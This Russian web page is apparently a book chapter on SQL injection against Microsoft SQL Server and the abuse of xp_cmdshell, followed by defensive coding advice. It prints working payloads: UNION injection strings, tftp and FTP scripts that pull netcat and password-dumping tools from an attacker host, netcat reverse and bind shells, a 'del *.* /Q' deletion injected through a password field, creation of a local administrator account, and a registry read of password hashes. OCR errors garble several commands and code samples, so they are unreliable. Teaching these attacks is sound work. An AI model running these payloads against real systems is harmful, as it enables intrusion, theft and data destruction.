На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Выявление потенциально уязвимых страниц

Потенциальный злоумышленник обычно проверят Web-Приложения, добавляя кавычки в текстовые поля, после чего смотрит на выводимые сообщения об ошибках. Такие входные данные опасны для SQL Server, поскольку для этой программы кавычка— символ нача­ла/завершения строки. Дополнительная кавычка создает неправильно сформированную строку, в результате выдается сообщение "Unclosed quotation mark before the character string" ("Незакрытая кавычка перед строкой символов"). Этот способ атаки не всегда приносит результат, поскольку хорошие разработчики стараются прятать сбои базы данных от пользователей, но все-таки чаще в ответ на ввод одиночной кавычки пользователь получает сообщение об ошибке ODBC или OLE DB.
На 7 наглядно продемонстрирована недостаточная проверка входящих данных — этой ошибке подвержено даже приложение от Microsoft, Duwamish Books. Отметим, что хакер попытался ввести кавычку в качестве имени пользователя и нажал кнопку "Your History". Особенно неприятно, что ошибка содержится в учебном приложении из справки, и другие учатся делать те же ошибки. Нажатие кнопки "User Account" также вызывает сбой в работе приложения. В данном примере не было получено сообщение об ошибке от сервера SQL, поэтому неясно, как можно использовать обнаруженную проблему. Но ясно, что ошибка в проверке вводимых параметров дает возможность взломать приложение Duwamish. Нужно отметить, что проблема существовала в период написания книги. Надеемся, компания Microsoft исправит свою ошибку.
Настойчивые хакеры проверят, могут ли поля для ввода чисел воспринимать текстовые данные. Неверная текстовая информация, переданная программе SQL Server, скорее всего, вызовет сообщение "Incorrect syntax near" ("Неверный синтаксис") или "Invalid column name" ("Неправильное имя поля"), чем уведомит хакера о возможности взлома программы. Опасность неправильной проверки полей числовых данных состоит в том, что для введения команд SQL даже не нужно использовать одиночные кавычки. Введенные взломщиком выражения SQL просто добавятся к "законному" коду программы и сделают свое дело.
Определение структуры SQL-кода
Когда хакер нашел потенциальную цель, следующим шагом он постарается выяснить структуру команды SQL, которую пытается использовать. Исследуя сообщения об ошибках или просто методом проб и ошибок он пытается определить, какая команда SQL вызывается со страницы. Например, если поиск возвратил список товаров с номерами, названиями, ценами и изображениями, взломщик с высокой вероятностью может предположить использование на сервере следующего кода SQL.
SELECT productld, productNarae, productPrice, ProductURL, FROM sometable WHERE productName LIKE '%mySearchCriterion%'
В этом случае злоумышленник делает предположения, основываясь на возвращаемых данных. Во многих случаях разработчики выбирают из базы данных намного больше полей, чем выводят, или используют более сложный синтаксис. Тогда требуется больший опыт в программировании SQL, но усердие в конце концов позволяет получить достаточно близкое приближение к используемой для страницы команде.
Создание и введение SQL-кода
Когда хакер уже имеет представление о командах SQL на странице, он, вероятно, захочет узнать имя пользователя, которым пользуется приложение, и версию программы SQL Server. Единственный способ получить эту информацию из существующего приложения — использовать ключевое слово UNION для дополнения вторым результатом уже созданных в результате запроса данных. Злоумышленник вводит в поле поиска следующий код,
Zz1 UNION SELECT 1,(SELECT SSversion),SUSER_SNAME(),1 —
Этот код сначала пытается получить первый результат, выполняя поиск символов Zz, а затем объединяет пустой результат с данными, которые ввел хакер. Нужно обязательно использовать цифру 1, чтобы было соответствие с количеством столбцов предыдущего результата. Самая интересная особенность введения кода — использование двух дефисов в конце строки. Это требуется для того, чтобы закомментировать последнюю кавычку строки, которая добавляется приложением к вводимым данным. В случае успеха злоумышленник узнает версию операционной системы и пакета обновления, а также имя учетной записи, используемой приложением для выполнения команд.
Пусть в данном случае было получено имя пользователя sa. С правами системного администратора взломщик может легко выполнять любую команду самого сервера SQL Server. Фрагмент вводимого в поле кода может быть таким:
Zz' exec master. . xp_cmdslie 11 I tf tp -i evilhost.com GET netcat.exe'— А затем:
2z' exec master..xp_cmdshell 'netcat -L-d-e cmd.exe -p 53'—
Теперь хакер использует клиент TFTP, который входит в Windows NT/2000 для импортирования полезной утилиты netcat и последующего получения удаленной командной строки. Шах и мат! Дальнейшее описание данной атаки много пользы не принесет, поскольку теперь взломщик может передавать на удаленную систему и выполнять на ней любой код, а также получает полный доступ к данным сервера SQL Server. Значит, нужно подумать о причинах этой проблемы и действиях по се устранению.
Q Меры защиты против введения кода SQL
Бюллетень
Нет

BID
Нет

Исправлено в SP
Нет

Фиксируется
Да

А теперь мы намерены сообщить вам следующие неприятные новости. Если приложения допускают введение кода SQL, то вам не помогут ни "горячие исправления", ни пакеты обновлений, ни внесение поправок в конфигурацию. Вместо этого нужно пользоваться такой защитой, как хорошая архитектура, контроль в процессе разработки и анализ программного кода. Хотя для проверки возможности введения кола SQL созданы некоторые утилиты, ни одна из них не может сравниться с хорошей проверкой качества защиты созданного приложения.
В борьбе с введением кода помогут следующие советы,
▼ Заменяйте одиночные кавычки двумя одиночными кавычками.
■ Проверяйте числовые данные.
■ Используйте хранимые процедуры.
* Избегайте методов "построения строк" для вызова команд в SQL Server.
После замены одиночных кавычек двумя одиночными кавычками SQL Server получает символ в виде буквенного кода. Именно таким образом в поле "Фамилия" можно ввести фамилию O'Reilley. Чтобы сделать это с помощью сценария ASP, можно использовать команду REPLACE на языке VBScript.
<%<replace(inputstring,1,'')
Таким способом можно эффективно нейтрализовать введение кода SQL в текстовые поля. Важно также проверять вводимые численные данные, что легко осуществляется с помощью функции isnumeric.
<%<if ismimeric(iriputstrin.g) then
"' сделать что-то полезное else
' передать польз свате л то сообщение об ошибке end if %>
. Использование хранимых процедур также может помочь против передачи команд SQL, поскольку команды оказываются скомпилированными заранее. Самой распространенной
ошибкой при использовании хранимых процедур для защиты приложения, является метод построения строк. Рассмотрим следующий простой фрагмент кода.
<% ■i<yS4|
Set Conn =
Server.CreateObjectI"ADODB.Connection") Conn.open "dsn=myapp;Trusced_Connection=Yes"
Set RS = Conn.Execute 1"exec sp_LoginUser '" s request.form("username")
Ц> ь & request, form! "password" I ь )
%>
Хотя разработчик и использовал хранимые процедуры, они реализованы плохо, поскольку код, введенный в поле пароля, также будет выполнен. Если в поле пароля кто-нибудь введет строку
' exec master..xp_cmdshell 'del *.* /Q' —
то программа SQL Server получит следующий код. exec sp_LoginUser 'myname','' exec master. .xp_crtidshell % 'del *.* /Q' —•
Если, конечно, этот набор команд разрешен и существуют необходимые привилегии, то пользователь удалит в результате все файлы каталога, используемого по умолчанию (\winnt\system32). Намного лучшей была бы следующая реализация хранимой процедуры.
<%<Set Conn = Server.CreateObject! "adodb. connection'')
Conn.Open Application["ConnectionString")
Set cmd = Server.CreateObject("ADODB.Command")
Set cmd.ActiveConnection = Conn
cmd.CommandText = "sp_LoginUser"
cmd. CominandType = 4
Set paraml = cmd.CreateParameter("username", 200, 1,20, request.form!"username"]) cmd.Parameters.Append paraml
Set param2 = cmd.CreateParameter("password", 200, 1,20,
request.form("password"))
cmd.Parameters.Append param2
Set rs = cmd.Execute
%>
Как видите, даже без проверки вводимых данных мы ясно разделили поля запроса, включая имя процедуры и каждый из параметров. Дополнительно здесь выполняется проверка типа вводимых данных, а длина символьных данных ограничена. Введенный код теперь не достигнет сервера SQL Server, так как интерфейс ADO сам создает конечную команду, автоматически преобразуя одиночные кавычки в двойные. В качестве дополнительной меры защиты можно удалить одиночные кавычки по всему документу с помощью команды replace и совместно с объектами ADO Command/Parameter. В тех версиях SQL Server, где ввод одиночных кавычек вообще не допускается, обеспечивается максимальный уровень защиты.
Злоупотребление расширенными хранимыми процедурами SQL для управления системой Windows 2000
Теперь рассмотрим худший случай: база данных взломана. Конечно, данные оказались украдены, но, возможно (только возможно), нанесенный урон касается лишь одного сервера, на котором для учетной записи sa был использован пустой пароль.
Хотелось бы верить. С точки зрения хакеры, SQL хорош своей глубокой связью с операционной системой, на которой он выполняется, стандартные команды SQL можно использовать для управления самой операционной системой и для проведения прямых атак на другие системы.
Одна из наиболее часто используемых во вредоносных целях функций — так называемая расширенная хранимая процедура. Пример ее использования был показан в начале этой главы, когда процедура xp_cmdshell использовалась для передачи команд через взломанный сервер SQL Server операционной системе и последующей атаки на корпоративную сеть. Также было описано использование команды xp_cmdshell в атаках введением кода SQL. Ясно, что расширенные процедуры очень полезны хакеру.
Расширенные хранимые процедуры используют для дополнения функций программы SQL Server внешние библиотеки. Как и большинство функций программ, повышающих эффективность администрирования, эти функции имеют и обратный эффект. Некоторые расширенные хранимые процедуры действительно мощные и могут управлять функциями ядра самой операционной системы. Таких возможностей становится только больше, когда программа SQL Server выполняется в контексте учетной записи LocalSystem, а это слишком часто встречалось в нашей практике. Учетная запись LocalSystem не имеет ограничений на локальной машине —для нее нет ничего невозможного.
Одна из худших с точки зрения безопасности — расширенная хранимая процедура xp_cir,dshell, которая позволяет пользователю программы SQL Server выполнять команду операционной системы так, как если бы команда была вызвана с консоли атакуемой машины. Например, следующие два запроса SQL создают пользователя "found." с паролем "stone" на удаленном сервере SQL Server, а затем добавляют пользователя в группу локальных администраторов (эти команды можно передавать с помощью стандартного клиента Query Analyzer, который поставляется с программой SQL Server или с помощью утилиты командной строки, например, osql, либо через недостаточно проверяемые поля форм в приложениях, как было описано в данной главе). Xp_cmdshell 'пес user found stone /ADD'
Xp_c.iidshell 'net localgroup ^ADD Acciinistrators found1
Теперь хакер стал администратором системы Windows NT/2000! Это достаточная причина для того, чтобы не запускать SQL Server на контроллере домена. Помните, что атака работает, только когда команды передаются в операционную систему посредством программы SQL Server, которая работает в контексте учетной записи LocalSystem или администратора.
Теперь рассмотрим еще более опасный пример использования мощи расширенных хранимых процедур, которые выполняются в контексте учетной записи LocalSystem. Как было описано в главе 8.. "Расширение сферы влияния", хешированный пароль учетной записи пользователя хранится в разделе реестра Security. В нормальных условиях этот раздел вообще недоступен пользователям, даже администратору. Однако для процедур, которые запускаются в контексте учетной записи LocalSystem, доступ к такой информации уже не проблема! Ниже показан пример использования процедуры xp_regread для получения хешированного пароля учетной записи Administrator из раздела реестра Security. Программа SQLServer выполняется с правами учетной записи LocalSystem.
xp_regread 1 hkey_LOCAL_MACHINE' , ' SECURITY'S.SAK\Domains \ Ч> AeCOUnt\Users\000001F4 1 , 'F'
Одно из самых эффективных применений расширенных хранимых процедур для хакера — использование процедуры xp_cmdshel 1 для загрузки на целевой сервер программ атаки, в том числе и программы netcat, которую затем запускают в режиме ожидания соединения (мы видели пример такого использования netcat в предыдущем разделе о введении кода SQL), В следующем примере используется встроенный в Windows NT/2000 клиент FTP, который вызывается с помощью сценария для загрузки утилит взлома. Чтобы этот пример работал, требуется наличие следующих условий:
т на атакуемом сервере должен быть открыт порт 1433; ■ должен быть известен пароль учетной записи sa;
-
■ в сети атакуемого компьютера должны быть разрешены исходящие соединения по протоколу ftp;
* брандмауэр атакуемого компьютера должен позволять получать доступ к непривилегированным портам (в примере использован порт 2002).
Ниже приведен сценарий, который можно передать на атакуемый сервер с помощью программы Query Analyzer или osql (192.168.234.39 — адрес FTP-сервера хакера, на котором хранятся загружаемые программы).
EXEC xp_cmdshell 'echo open 192.16В.234.39 » ftptemp'
EXEC xp_cmdshell 'echo user anonymous ladee@da.com» ftptemp" .
EXEC xp_cmdshell 'echo bin » ftptemp'
EXEC xp_cmdshell 'echo get nc.exe » ftptemp'
EXEC xp_cmdshell 'echo get kill.exe » ftptemp'
EXEC xp_cmdshell 'echo get samdump.dll » ftptemp'
EXEC xp_cmdshell 'echo get pwdump2.exe » ftptemp'
EXEC xp_cmdshell 'echo get pulist.exe >> ftptemp'
EXEC xp„cmdshell 'echo bye » ftptemp'
EXEC xp_cmdshell 'ftp -n -s:ftptemp1
EXEC xp_cmdshel1 'erase ftptemp'
EXEC xp_cmdshell 'start nc -L -d -p 2002 -e cmd.exe'
Вот так! Теперь хакер подключается к серверу SQL Server через порт 2002 и получает удаленную командную строку в контексте учетной записи LocalSystem.
C:\attacker5-nc -тгу 10.0.0.1 2301
Наверняка существуют сотни вариантов рассмотренной здесь атаки. Но, надеемся, их не нужно приводить в качестве примера — и так ясно, что мощными расширенными хранимыми процедурами можно легко воспользоваться во вредоносных целях.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика